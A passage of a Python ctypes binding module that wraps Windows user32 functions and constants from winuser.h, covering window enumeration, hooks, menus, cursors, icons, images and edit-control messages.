SetClassLongPtrW\n# SetClassLongPtr = SetClassLongPtrA\n\n# WINAPI\n# GetProcessDefaultLayout(\n# _Out_ DWORD *pdwDefaultLayout);\nGetProcessDefaultLayout = user32.GetProcessDefaultLayout\nGetProcessDefaultLayout.restype = WINAPI\n\n\n# WINAPI\n# SetProcessDefaultLayout(\n# _In_ DWORD dwDefaultLayout);\nSetProcessDefaultLayout = user32.SetProcessDefaultLayout\nSetProcessDefaultLayout.restype = WINAPI\n\n\n# WINAPI\n# GetDesktopWindow(\n# VOID);\nGetDesktopWindow = user32.GetDesktopWindow\nGetDesktopWindow.restype = WINAPI\n\n\n# WINAPI\n# GetParent(\n# _In_ HWND hWnd);\nGetParent = user32.GetParent\nGetParent.restype = WINAPI\n\n\n# WINAPI\n# SetParent(\n# _In_ HWND hWndChild,\n# _In_opt_ HWND hWndNewParent);\nSetParent = user32.SetParent\nSetParent.restype = WINAPI\n\n\n# WINAPI\n# EnumChildWindows(\n# _In_opt_ HWND hWndParent,\n# _In_ WNDENUMPROC lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumChildWindows = user32.EnumChildWindows\nEnumChildWindows.restype = WINAPI\n\n\n# WINAPI\n# FindWindowA(\n# _In_opt_ LPCSTR lpClassName,\n# _In_opt_ LPCSTR lpWindowName);\nFindWindowA = user32.FindWindowA\nFindWindowA.restype = WINAPI\n\n\n# WINAPI\n# FindWindowW(\n# _In_opt_ LPCWSTR lpClassName,\n# _In_opt_ LPCWSTR lpWindowName);\nFindWindowW = user32.FindWindowW\nFindWindowW.restype = WINAPI\n\nFindWindow = FindWindowW\n# FindWindow = FindWindowA\n\n# WINAPI\n# FindWindowExA(\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HWND hWndChildAfter,\n# _In_opt_ LPCSTR lpszClass,\n# _In_opt_ LPCSTR lpszWindow);\nFindWindowExA = user32.FindWindowExA\nFindWindowExA.restype = WINAPI\n\n\n# WINAPI\n# FindWindowExW(\n# _In_opt_ HWND hWndParent,\n# _In_opt_ HWND hWndChildAfter,\n# _In_opt_ LPCWSTR lpszClass,\n# _In_opt_ LPCWSTR lpszWindow);\nFindWindowExW = user32.FindWindowExW\nFindWindowExW.restype = WINAPI\n\nFindWindowEx = FindWindowExW\n# FindWindowEx = FindWindowExA\n\n# WINAPI\n# GetShellWindow(\n# VOID);\nGetShellWindow = user32.GetShellWindow\nGetShellWindow.restype = WINAPI\n\n\n# WINAPI\n# RegisterShellHookWindow(\n# _In_ HWND hwnd);\nRegisterShellHookWindow = user32.RegisterShellHookWindow\nRegisterShellHookWindow.restype = WINAPI\n\n\n# WINAPI\n# DeregisterShellHookWindow(\n# _In_ HWND hwnd);\nDeregisterShellHookWindow = user32.DeregisterShellHookWindow\nDeregisterShellHookWindow.restype = WINAPI\n\n\n# WINAPI\n# EnumWindows(\n# _In_ WNDENUMPROC lpEnumFunc,\n# _In_ LPARAM lParam);\nEnumWindows = user32.EnumWindows\nEnumWindows.restype = WINAPI\n\n\n# WINAPI\n# EnumThreadWindows(\n# _In_ DWORD dwThreadId,\n# _In_ WNDENUMPROC lpfn,\n# _In_ LPARAM lParam);\nEnumThreadWindows = user32.EnumThreadWindows\nEnumThreadWindows.restype = WINAPI\n\nfrom basetsd_h import HandleToULong\n\ndef EnumTaskWindows(hTask, lpfn, lParam):\n return EnumThreadWindows(HandleToULong(hTask), lpfn, lParam)\n\n# WINAPI\n# GetClassNameA(\n# _In_ HWND hWnd,\n# _Out_writes_to_(nMaxCount, return) LPSTR lpClassName,\n# _In_ INT nMaxCount\n# );\nGetClassNameA = user32.GetClassNameA\nGetClassNameA.restype = WINAPI\n\n\n# WINAPI\n# GetClassNameW(\n# _In_ HWND hWnd,\n# _Out_writes_to_(nMaxCount, return) LPWSTR lpClassName,\n# _In_ INT nMaxCount\n# );\nGetClassNameW = user32.GetClassNameW\nGetClassNameW.restype = WINAPI\n\nGetClassName = GetClassNameW\n# GetClassName = GetClassNameA\n\n# INT\n# GetClassName(\n# HWND hWnd,\n# LPTSTR lpClassName,\n# INT nMaxCount\n# )\n# GetClassName = user32.GetClassName\n# GetClassName.restype = INT\n\n\n# WINAPI\n# GetTopWindow(\n# _In_opt_ HWND hWnd);\nGetTopWindow = user32.GetTopWindow\nGetTopWindow.restype = WINAPI\n\n\n\ndef GetNextWindow(hWnd, wCmd):\n return GetWindow(hWnd, wCmd)\n\n\n# WINAPI\n# GetWindowThreadProcessId(\n# _In_ HWND hWnd,\n# _Out_opt_ LPDWORD lpdwProcessId);\nGetWindowThreadProcessId = user32.GetWindowThreadProcessId\nGetWindowThreadProcessId.restype = WINAPI\n\n\n# WINAPI\n# IsGUIThread(\n# _In_ BOOL bConvert);\nIsGUIThread = user32.IsGUIThread\nIsGUIThread.restype = WINAPI\n\n\n\ndef GetWindowTask(hWnd):\n return GetWindowThreadProcessId(hWnd, NULL)\n\n# WINAPI\n# GetLastActivePopup(\n# _In_ HWND hWnd);\nGetLastActivePopup = user32.GetLastActivePopup\nGetLastActivePopup.restype = WINAPI\n\nGW_HWNDFIRST = 0x00000000\nGW_HWNDLAST = 0x00000001\nGW_HWNDNEXT = 0x00000002\nGW_HWNDPREV = 0x00000003\nGW_OWNER = 0x00000004\nGW_CHILD = 0x00000005\nGW_MAX = 0x00000005\nGW_ENABLEDPOPUP = 0x00000006\nGW_MAX = 0x00000006\n\n# WINAPI\n# GetWindow(\n# _In_ HWND hWnd,\n# _In_ UINT uCmd);\nGetWindow = user32.GetWindow\nGetWindow.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookA(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookA = user32.SetWindowsHookA\nSetWindowsHookA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookW(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookW = user32.SetWindowsHookW\nSetWindowsHookW.restype = WINAPI\n\nSetWindowsHook = SetWindowsHookW\n# SetWindowsHook = SetWindowsHookA\n\n# WINAPI\n# SetWindowsHookA(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookA = user32.SetWindowsHookA\nSetWindowsHookA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookW(\n# _In_ INT nFilterType,\n# _In_ HOOKPROC pfnFilterProc);\nSetWindowsHookW = user32.SetWindowsHookW\nSetWindowsHookW.restype = WINAPI\n\nSetWindowsHook = SetWindowsHookW\n# SetWindowsHook = SetWindowsHookA\n\n# WINAPI\n# UnhookWindowsHook(\n# _In_ INT nCode,\n# _In_ HOOKPROC pfnFilterProc);\nUnhookWindowsHook = user32.UnhookWindowsHook\nUnhookWindowsHook.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookExA(\n# _In_ INT idHook,\n# _In_ HOOKPROC lpfn,\n# _In_opt_ HINSTANCE hmod,\n# _In_ DWORD dwThreadId);\nSetWindowsHookExA = user32.SetWindowsHookExA\nSetWindowsHookExA.restype = WINAPI\n\n\n# WINAPI\n# SetWindowsHookExW(\n# _In_ INT idHook,\n# _In_ HOOKPROC lpfn,\n# _In_opt_ HINSTANCE hmod,\n# _In_ DWORD dwThreadId);\nSetWindowsHookExW = user32.SetWindowsHookExW\nSetWindowsHookExW.restype = WINAPI\n\nSetWindowsHookEx = SetWindowsHookExW\n# SetWindowsHookEx = SetWindowsHookExA\n\n# WINAPI\n# UnhookWindowsHookEx(\n# _In_ HHOOK hhk);\nUnhookWindowsHookEx = user32.UnhookWindowsHookEx\nUnhookWindowsHookEx.restype = WINAPI\n\n\n# WINAPI\n# CallNextHookEx(\n# _In_opt_ HHOOK hhk,\n# _In_ INT nCode,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nCallNextHookEx = user32.CallNextHookEx\nCallNextHookEx.restype = WINAPI\n\n\n\ndef DefHookProc(nCode, wParam, lParam, phhk):\n return CallNextHookEx(ctypes.byref(phhk), nCode, wParam, lParam)\n\n\nMF_INSERT = 0x00000000\nMF_CHANGE = 0x00000080\nMF_APPEND = 0x00000100\nMF_DELETE = 0x00000200\nMF_REMOVE = 0x00001000\nMF_BYCOMMAND = 0x00000000\nMF_BYPOSITION = 0x00000400\nMF_SEPARATOR = 0x00000800\nMF_ENABLED = 0x00000000\nMF_GRAYED = 0x00000001\nMF_DISABLED = 0x00000002\nMF_UNCHECKED = 0x00000000\nMF_CHECKED = 0x00000008\nMF_USECHECKBITMAPS = 0x00000200\nMF_STRING = 0x00000000\nMF_BITMAP = 0x00000004\nMF_OWNERDRAW = 0x00000100\nMF_POPUP = 0x00000010\nMF_MENUBARBREAK = 0x00000020\nMF_MENUBREAK = 0x00000040\nMF_UNHILITE = 0x00000000\nMF_HILITE = 0x00000080\nMF_DEFAULT = 0x00001000\nMF_SYSMENU = 0x00002000\nMF_HELP = 0x00004000\nMF_RIGHTJUSTIFY = 0x00004000\nMF_MOUSESELECT = 0x00008000\nMF_END = 0x00000080\nMFT_STRING = MF_STRING\nMFT_BITMAP = MF_BITMAP\nMFT_MENUBARBREAK = MF_MENUBARBREAK\nMFT_MENUBREAK = MF_MENUBREAK\nMFT_OWNERDRAW = MF_OWNERDRAW\nMFT_RADIOCHECK = 0x00000200\nMFT_SEPARATOR = MF_SEPARATOR\nMFT_RIGHTORDER = 0x00002000\nMFT_RIGHTJUSTIFY = MF_RIGHTJUSTIFY\nMFS_GRAYED = 0x00000003\nMFS_DISABLED = MFS_GRAYED\nMFS_CHECKED = MF_CHECKED\nMFS_HILITE = MF_HILITE\nMFS_ENABLED = MF_ENABLED\nMFS_UNCHECKED = MF_UNCHECKED\nMFS_UNHILITE = MF_UNHILITE\nMFS_DEFAULT = MF_DEFAULT\n\n# WINAPI\n# CheckMenuRadioItem(\n# _In_ HMENU hmenu,\n# _In_ UINT first,\n# _In_ UINT last,\n# _In_ UINT check,\n# _In_ UINT flags);\nCheckMenuRadioItem = user32.CheckMenuRadioItem\nCheckMenuRadioItem.restype = WINAPI\n\n\nclass MENUITEMTEMPLATEHEADER(ctypes.Structure):\n _fields_ = [\n ('versionNumber', WORD),\n ('offset', WORD),\n ]\n\n\nPMENUITEMTEMPLATEHEADER = POINTER(MENUITEMTEMPLATEHEADER)\n\n\n\nclass MENUITEMTEMPLATE(ctypes.Structure):\n _fields_ = [\n ('mtOption', WORD),\n ('mtID', WORD),\n ('mtString', WCHAR * 1),\n ]\n\n\nPMENUITEMTEMPLATE = POINTER(MENUITEMTEMPLATE)\n\n\nMF_END = 0x00000080\nSC_SIZE = 0x0000F000\nSC_MOVE = 0x0000F010\nSC_MINIMIZE = 0x0000F020\nSC_MAXIMIZE = 0x0000F030\nSC_NEXTWINDOW = 0x0000F040\nSC_PREVWINDOW = 0x0000F050\nSC_CLOSE = 0x0000F060\nSC_VSCROLL = 0x0000F070\nSC_HSCROLL = 0x0000F080\nSC_MOUSEMENU = 0x0000F090\nSC_KEYMENU = 0x0000F100\nSC_ARRANGE = 0x0000F110\nSC_RESTORE = 0x0000F120\nSC_TASKLIST = 0x0000F130\nSC_SCREENSAVE = 0x0000F140\nSC_HOTKEY = 0x0000F150\nSC_DEFAULT = 0x0000F160\nSC_MONITORPOWER = 0x0000F170\nSC_CONTEXTHELP = 0x0000F180\nSC_SEPARATOR = 0x0000F00F\nSCF_ISSECURE = 0x00000001\n\n\ndef GET_SC_WPARAM(wParam):\n return wParam & 0xFFF0\n\n\nSC_ICON = SC_MINIMIZE\nSC_ZOOM = SC_MAXIMIZE\n\n# WINAPI\n# LoadBitmapA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpBitmapName);\nLoadBitmapA = user32.LoadBitmapA\nLoadBitmapA.restype = WINAPI\n\n\n# WINAPI\n# LoadBitmapW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpBitmapName);\nLoadBitmapW = user32.LoadBitmapW\nLoadBitmapW.restype = WINAPI\n\nLoadBitmap = LoadBitmapW\n# LoadBitmap = LoadBitmapA\n\n# WINAPI\n# LoadCursorA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpCursorName);\nLoadCursorA = user32.LoadCursorA\nLoadCursorA.restype = WINAPI\n\n\n# WINAPI\n# LoadCursorW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpCursorName);\nLoadCursorW = user32.LoadCursorW\nLoadCursorW.restype = WINAPI\n\nLoadCursor = LoadCursorW\n# LoadCursor = LoadCursorA\n\n# WINAPI\n# LoadCursorFromFileA(\n# _In_ LPCSTR lpFileName);\nLoadCursorFromFileA = user32.LoadCursorFromFileA\nLoadCursorFromFileA.restype = WINAPI\n\n\n# WINAPI\n# LoadCursorFromFileW(\n# _In_ LPCWSTR lpFileName);\nLoadCursorFromFileW = user32.LoadCursorFromFileW\nLoadCursorFromFileW.restype = WINAPI\n\nLoadCursorFromFile = LoadCursorFromFileW\n# LoadCursorFromFile = LoadCursorFromFileA\n\n# WINAPI\n# CreateCursor(\n# _In_opt_ HINSTANCE hInst,\n# _In_ INT xHotSpot,\n# _In_ INT yHotSpot,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_ CONST VOID *pvANDPlane,\n# _In_ CONST VOID *pvXORPlane);\nCreateCursor = user32.CreateCursor\nCreateCursor.restype = WINAPI\n\n\n# WINAPI\n# DestroyCursor(\n# _In_ HCURSOR hCursor);\nDestroyCursor = user32.DestroyCursor\nDestroyCursor.restype = WINAPI\n\n\n# WINAPI\n# CopyCursor(\n# _In_ HCURSOR hCursor);\nCopyCursor = user32.CopyCursor\nCopyCursor.restype = WINAPI\n\nIDC_ARROW = MAKEINTRESOURCE(32512)\nIDC_IBEAM = MAKEINTRESOURCE(32513)\nIDC_WAIT = MAKEINTRESOURCE(32514)\nIDC_CROSS = MAKEINTRESOURCE(32515)\nIDC_UPARROW = MAKEINTRESOURCE(32516)\nIDC_SIZE = MAKEINTRESOURCE(32640)\nIDC_ICON = MAKEINTRESOURCE(32641)\nIDC_SIZENWSE = MAKEINTRESOURCE(32642)\nIDC_SIZENESW = MAKEINTRESOURCE(32643)\nIDC_SIZEWE = MAKEINTRESOURCE(32644)\nIDC_SIZENS = MAKEINTRESOURCE(32645)\nIDC_SIZEALL = MAKEINTRESOURCE(32646)\nIDC_NO = MAKEINTRESOURCE(32648)\nIDC_HAND = MAKEINTRESOURCE(32649)\nIDC_APPSTARTING = MAKEINTRESOURCE(32650)\nIDC_HELP = MAKEINTRESOURCE(32651)\nIDC_PIN = MAKEINTRESOURCE(32671)\nIDC_PERSON = MAKEINTRESOURCE(32672)\n\n# WINAPI\n# SetSystemCursor(\n# _In_ HCURSOR hcur,\n# _In_ DWORD id);\nSetSystemCursor = user32.SetSystemCursor\nSetSystemCursor.restype = WINAPI\n\n\nclass _ICONINFO(ctypes.Structure):\n _fields_ = [\n ('fIcon', BOOL),\n ('xHotspot', DWORD),\n ('yHotspot', DWORD),\n ('hbmMask', HBITMAP),\n ('hbmColor', HBITMAP),\n ]\n\n\nICONINFO = _ICONINFO\n\n\nPICONINFO = POINTER(ICONINFO)\n\n# WINAPI\n# LoadIconA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCSTR lpIconName);\nLoadIconA = user32.LoadIconA\nLoadIconA.restype = WINAPI\n\n\n# WINAPI\n# LoadIconW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ LPCWSTR lpIconName);\nLoadIconW = user32.LoadIconW\nLoadIconW.restype = WINAPI\n\nLoadIcon = LoadIconW\n# LoadIcon = LoadIconA\n\n# WINAPI\n# PrivateExtractIconsA(\n# _In_reads_(MAX_PATH) LPCSTR szFileName,\n# _In_ INT nIconIndex,\n# _In_ INT cxIcon,\n# _In_ INT cyIcon,\n# _Out_writes_opt_(nIcons) HICON *phicon,\n# _Out_writes_opt_(nIcons) UINT *piconid,\n# _In_ UINT nIcons,\n# _In_ UINT flags);\nPrivateExtractIconsA = user32.PrivateExtractIconsA\nPrivateExtractIconsA.restype = WINAPI\n\n\n# WINAPI\n# PrivateExtractIconsW(\n# _In_reads_(MAX_PATH) LPCWSTR szFileName,\n# _In_ INT nIconIndex,\n# _In_ INT cxIcon,\n# _In_ INT cyIcon,\n# _Out_writes_opt_(nIcons) HICON *phicon,\n# _Out_writes_opt_(nIcons) UINT *piconid,\n# _In_ UINT nIcons,\n# _In_ UINT flags);\nPrivateExtractIconsW = user32.PrivateExtractIconsW\nPrivateExtractIconsW.restype = WINAPI\n\nPrivateExtractIcons = PrivateExtractIconsW\n# PrivateExtractIcons = PrivateExtractIconsA\n\n# WINAPI\n# CreateIcon(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ INT nWidth,\n# _In_ INT nHeight,\n# _In_ BYTE cPlanes,\n# _In_ BYTE cBitsPixel,\n# _In_ CONST BYTE *lpbANDbits,\n# _In_ CONST BYTE *lpbXORbits);\nCreateIcon = user32.CreateIcon\nCreateIcon.restype = WINAPI\n\n\n# WINAPI\n# DestroyIcon(\n# _In_ HICON hIcon);\nDestroyIcon = user32.DestroyIcon\nDestroyIcon.restype = WINAPI\n\n\n# WINAPI\n# LookupIconIdFromDirectory(\n# _In_reads_bytes_(ctypes.sizeof(WORD) * 3) PBYTE presbits,\n# _In_ BOOL fIcon);\nLookupIconIdFromDirectory = user32.LookupIconIdFromDirectory\nLookupIconIdFromDirectory.restype = WINAPI\n\n\n# WINAPI\n# LookupIconIdFromDirectoryEx(\n# _In_reads_bytes_(ctypes.sizeof(WORD) * 3) PBYTE presbits,\n# _In_ BOOL fIcon,\n# _In_ INT cxDesired,\n# _In_ INT cyDesired,\n# _In_ UINT Flags);\nLookupIconIdFromDirectoryEx = user32.LookupIconIdFromDirectoryEx\nLookupIconIdFromDirectoryEx.restype = WINAPI\n\n\n# WINAPI\n# CreateIconFromResource(\n# _In_reads_bytes_(dwResSize) PBYTE presbits,\n# _In_ DWORD dwResSize,\n# _In_ BOOL fIcon,\n# _In_ DWORD dwVer);\nCreateIconFromResource = user32.CreateIconFromResource\nCreateIconFromResource.restype = WINAPI\n\n\n# WINAPI\n# CreateIconFromResourceEx(\n# _In_reads_bytes_(dwResSize) PBYTE presbits,\n# _In_ DWORD dwResSize,\n# _In_ BOOL fIcon,\n# _In_ DWORD dwVer,\n# _In_ INT cxDesired,\n# _In_ INT cyDesired,\n# _In_ UINT Flags);\nCreateIconFromResourceEx = user32.CreateIconFromResourceEx\nCreateIconFromResourceEx.restype = WINAPI\n\n\nclass tagCURSORSHAPE(ctypes.Structure):\n _fields_ = [\n ('xHotSpot', INT),\n ('yHotSpot', INT),\n ('cx', INT),\n ('cy', INT),\n ('cbWidth', INT),\n ('Planes', BYTE),\n ('BitsPixel', BYTE),\n ]\n\n\nCURSORSHAPE = tagCURSORSHAPE\nLPCURSORSHAPE = POINTER(tagCURSORSHAPE)\n\n\nIMAGE_BITMAP = 0x00000000\nIMAGE_ICON = 0x00000001\nIMAGE_CURSOR = 0x00000002\nIMAGE_ENHMETAFILE = 0x00000003\nLR_DEFAULTCOLOR = 0x00000000\nLR_MONOCHROME = 0x00000001\nLR_COLOR = 0x00000002\nLR_COPYRETURNORG = 0x00000004\nLR_COPYDELETEORG = 0x00000008\nLR_LOADFROMFILE = 0x00000010\nLR_LOADTRANSPARENT = 0x00000020\nLR_DEFAULTSIZE = 0x00000040\nLR_VGACOLOR = 0x00000080\nLR_LOADMAP3DCOLORS = 0x00001000\nLR_CREATEDIBSECTION = 0x00002000\nLR_COPYFROMRESOURCE = 0x00004000\nLR_SHARED = 0x00008000\n\n# WINAPI\n# LoadImageA(\n# _In_opt_ HINSTANCE hInst,\n# _In_ LPCSTR name,\n# _In_ UINT type,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT fuLoad);\nLoadImageA = user32.LoadImageA\nLoadImageA.restype = WINAPI\n\n\n# WINAPI\n# LoadImageW(\n# _In_opt_ HINSTANCE hInst,\n# _In_ LPCWSTR name,\n# _In_ UINT type,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT fuLoad);\nLoadImageW = user32.LoadImageW\nLoadImageW.restype = WINAPI\n\nLoadImage = LoadImageW\n# LoadImage = LoadImageA\n\n# WINAPI\n# CopyImage(\n# _In_ HANDLE h,\n# _In_ UINT type,\n# _In_ INT cx,\n# _In_ INT cy,\n# _In_ UINT flags);\nCopyImage = user32.CopyImage\nCopyImage.restype = WINAPI\n\nDI_MASK = 0x00000001\nDI_IMAGE = 0x00000002\nDI_NORMAL = 0x00000003\nDI_COMPAT = 0x00000004\nDI_DEFAULTSIZE = 0x00000008\nDI_NOMIRROR = 0x00000010\n\n#\n# WINUSERAPI BOOL WINAPI DrawIconEx(\n# _In_ HDC hdc,\n# _In_ INT xLeft,\n# _In_ INT yTop,\n# _In_ HICON hIcon,\n# _In_ INT cxWidth,\n# _In_ INT cyWidth,\n# _In_ UINT istepIfAniCur,\n# _In_opt_ HBRUSH hbrFlickerFreeDraw,\n# _In_ UINT diFlags);\nDrawIconEx = user32.DrawIconEx\nDrawIconEx.restype = WINUSERAPI\n\n\n# WINAPI\n# CreateIconIndirect(\n# _In_ PICONINFO piconinfo);\nCreateIconIndirect = user32.CreateIconIndirect\nCreateIconIndirect.restype = WINAPI\n\n\n# WINAPI\n# CopyIcon(\n# _In_ HICON hIcon);\nCopyIcon = user32.CopyIcon\nCopyIcon.restype = WINAPI\n\n\n# WINAPI\n# GetIconInfo(\n# _In_ HICON hIcon,\n# _Out_ PICONINFO piconinfo);\nGetIconInfo = user32.GetIconInfo\nGetIconInfo.restype = WINAPI\n\nMAX_PATH = 255\n\n\nclass _ICONINFOEXA(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('fIcon', BOOL),\n ('xHotspot', DWORD),\n ('yHotspot', DWORD),\n ('hbmMask', HBITMAP),\n ('hbmColor', HBITMAP),\n ('wResID', WORD),\n ('szModName', CHAR * MAX_PATH),\n ('szResName', CHAR * MAX_PATH),\n ]\n\n\nICONINFOEXA = _ICONINFOEXA\nPICONINFOEXA = POINTER(_ICONINFOEXA)\n\n\n\nclass _ICONINFOEXW(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('fIcon', BOOL),\n ('xHotspot', DWORD),\n ('yHotspot', DWORD),\n ('hbmMask', HBITMAP),\n ('hbmColor', HBITMAP),\n ('wResID', WORD),\n ('szModName', WCHAR * MAX_PATH),\n ('szResName', WCHAR * MAX_PATH),\n ]\n\n\nICONINFOEXW = _ICONINFOEXW\nPICONINFOEXW = POINTER(_ICONINFOEXW)\n\n\nICONINFOEX = ICONINFOEXW\nPICONINFOEX = PICONINFOEXW\n\n# WINAPI\n# GetIconInfoExA(\n# _In_ HICON hicon,\n# _Inout_ PICONINFOEXA piconinfo);\nGetIconInfoExA = user32.GetIconInfoExA\nGetIconInfoExA.restype = WINAPI\n\n\n# WINAPI\n# GetIconInfoExW(\n# _In_ HICON hicon,\n# _Inout_ PICONINFOEXW piconinfo);\nGetIconInfoExW = user32.GetIconInfoExW\nGetIconInfoExW.restype = WINAPI\n\nGetIconInfoEx = GetIconInfoExW\n# GetIconInfoEx = GetIconInfoExA\nRES_ICON = 0x00000001\nRES_CURSOR = 0x00000002\nOBM_CLOSE = 0x00007FF2\nOBM_UPARROW = 0x00007FF1\nOBM_DNARROW = 0x00007FF0\nOBM_RGARROW = 0x00007FEF\nOBM_LFARROW = 0x00007FEE\nOBM_REDUCE = 0x00007FED\nOBM_ZOOM = 0x00007FEC\nOBM_RESTORE = 0x00007FEB\nOBM_REDUCED = 0x00007FEA\nOBM_ZOOMD = 0x00007FE9\nOBM_RESTORED = 0x00007FE8\nOBM_UPARROWD = 0x00007FE7\nOBM_DNARROWD = 0x00007FE6\nOBM_RGARROWD = 0x00007FE5\nOBM_LFARROWD = 0x00007FE4\nOBM_MNARROW = 0x00007FE3\nOBM_COMBO = 0x00007FE2\nOBM_UPARROWI = 0x00007FE1\nOBM_DNARROWI = 0x00007FE0\nOBM_RGARROWI = 0x00007FDF\nOBM_LFARROWI = 0x00007FDE\nOBM_OLD_CLOSE = 0x00007FFF\nOBM_SIZE = 0x00007FFE\nOBM_OLD_UPARROW = 0x00007FFD\nOBM_OLD_DNARROW = 0x00007FFC\nOBM_OLD_RGARROW = 0x00007FFB\nOBM_OLD_LFARROW = 0x00007FFA\nOBM_BTSIZE = 0x00007FF9\nOBM_CHECK = 0x00007FF8\nOBM_CHECKBOXES = 0x00007FF7\nOBM_BTNCORNERS = 0x00007FF6\nOBM_OLD_REDUCE = 0x00007FF5\nOBM_OLD_ZOOM = 0x00007FF4\nOBM_OLD_RESTORE = 0x00007FF3\nOCR_NORMAL = 0x00007F00\nOCR_IBEAM = 0x00007F01\nOCR_WAIT = 0x00007F02\nOCR_CROSS = 0x00007F03\nOCR_UP = 0x00007F04\nOCR_SIZE = 0x00007F80\nOCR_ICON = 0x00007F81\nOCR_SIZENWSE = 0x00007F82\nOCR_SIZENESW = 0x00007F83\nOCR_SIZEWE = 0x00007F84\nOCR_SIZENS = 0x00007F85\nOCR_SIZEALL = 0x00007F86\nOCR_ICOCUR = 0x00007F87\nOCR_NO = 0x00007F88\nOCR_HAND = 0x00007F89\nOCR_APPSTARTING = 0x00007F8A\nOIC_SAMPLE = 0x00007F00\nOIC_HAND = 0x00007F01\nOIC_QUES = 0x00007F02\nOIC_BANG = 0x00007F03\nOIC_NOTE = 0x00007F04\nOIC_WINLOGO = 0x00007F05\nOIC_WARNING = OIC_BANG\nOIC_ERROR = OIC_HAND\nOIC_INFORMATION = OIC_NOTE\nOIC_SHIELD = 0x00007F06\nORD_LANGDRIVER = 1\nIDI_APPLICATION = 0x00007F00\nIDI_HAND = 0x00007F01\nIDI_QUESTION = 0x00007F02\nIDI_EXCLAMATION = 0x00007F03\nIDI_ASTERISK = 0x00007F04\nIDI_WINLOGO = 0x00007F05\nIDI_SHIELD = 0x00007F06\n\nIDI_WARNING = IDI_EXCLAMATION\nIDI_ERROR = IDI_HAND\nIDI_INFORMATION = IDI_ASTERISK\n\n# WINAPI\n# LoadStringA(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ UINT uID,\n# _Out_writes_to_(cchBufferMax, return + 1) LPSTR lpBuffer,\n# _In_ INT cchBufferMax);\nLoadStringA = user32.LoadStringA\nLoadStringA.restype = WINAPI\n\n\n# WINAPI\n# LoadStringW(\n# _In_opt_ HINSTANCE hInstance,\n# _In_ UINT uID,\n# _Out_writes_to_(cchBufferMax, return + 1) LPWSTR lpBuffer,\n# _In_ INT cchBufferMax);\nLoadStringW = user32.LoadStringW\nLoadStringW.restype = WINAPI\n\nLoadString = LoadStringW\n# LoadString = LoadStringA\nIDOK = 0x00000001\nIDCANCEL = 0x00000002\nIDABORT = 0x00000003\nIDRETRY = 0x00000004\nIDIGNORE = 0x00000005\nIDYES = 0x00000006\nIDNO = 0x00000007\nIDCLOSE = 0x00000008\nIDHELP = 0x00000009\nIDTRYAGAIN = 0x0000000A\nIDCONTINUE = 0x0000000B\nIDTIMEOUT = 0x00007D00\nES_LEFT = 0x00000000\nES_CENTER = 0x00000001\nES_RIGHT = 0x00000002\nES_MULTILINE = 0x00000004\nES_UPPERCASE = 0x00000008\nES_LOWERCASE = 0x00000010\nES_PASSWORD = 0x00000020\nES_AUTOVSCROLL = 0x00000040\nES_AUTOHSCROLL = 0x00000080\nES_NOHIDESEL = 0x00000100\nES_OEMCONVERT = 0x00000400\nES_READONLY = 0x00000800\nES_WANTRETURN = 0x00001000\nES_NUMBER = 0x00002000\nEN_SETFOCUS = 0x00000100\nEN_KILLFOCUS = 0x00000200\nEN_CHANGE = 0x00000300\nEN_UPDATE = 0x00000400\nEN_ERRSPACE = 0x00000500\nEN_MAXTEXT = 0x00000501\nEN_HSCROLL = 0x00000601\nEN_VSCROLL = 0x00000602\nEN_ALIGN_LTR_EC = 0x00000700\nEN_ALIGN_RTL_EC = 0x00000701\nEN_BEFORE_PASTE = 0x00000800\nEN_AFTER_PASTE = 0x00000801\nEC_LEFTMARGIN = 0x00000001\nEC_RIGHTMARGIN = 0x00000002\nEC_USEFONTINFO = 0x0000FFFF\nEMSIS_COMPOSITIONSTRING = 0x00000001\nEIMES_GETCOMPSTRATONCE = 0x00000001\nEIMES_CANCELCOMPSTRINFOCUS = 0x00000002\nEIMES_COMPLETECOMPSTRKILLFOCUS = 0x00000004\nEM_GETSEL = 0x000000B0\nEM_SETSEL = 0x000000B1\nEM_GETRECT = 0x000000B2\nEM_SETRECT = 0x000000B3\nEM_SETRECTNP = 0x000000B4\nEM_SCROLL = 0x000000B5\nEM_LINESCROLL = 0x000000B6\nEM_SCROLLCARET = 0x000000B7\nEM_GETMODIFY = 0x000000B8\nEM_SETMODIFY = 0x000000B9\nEM_GETLINECOUNT = 0x000000BA\nEM_LINEINDEX = 0x000000BB\nEM_SETHANDLE = 0x000000BC\nEM_GETHANDLE = 0x000000BD\nEM_GETTHUMB = 0x000000BE\nEM_LINELENGTH = 0x000000C1\nEM_REPLACESEL = 0x000000C2\nEM_GETLINE = 0x000000C4\nEM_LIMITTEXT = 0x000000C5\nEM_CANUNDO = 0x000000C6\nEM_UNDO = 0x000000C7\nEM_FMTLINES = 0x000000C8\nEM_LINEFROMCHAR = 0x000000C9\nEM_SETTABSTOPS = 0x000000CB\nEM_SETPASSWORDCHAR = 0x000000CC\nEM_EMPTYUNDOBUFFER = 0x000000CD\nEM_GETFIRSTVISIBLELINE = 0x000000CE\nEM_SETREADONLY = 0x000000CF\nEM_SETWORDBREAKPROC = 0x000000D0\nEM_GETWORDBREAKPROC = 0x000000D1\nEM_GETPASSWORDCHAR = 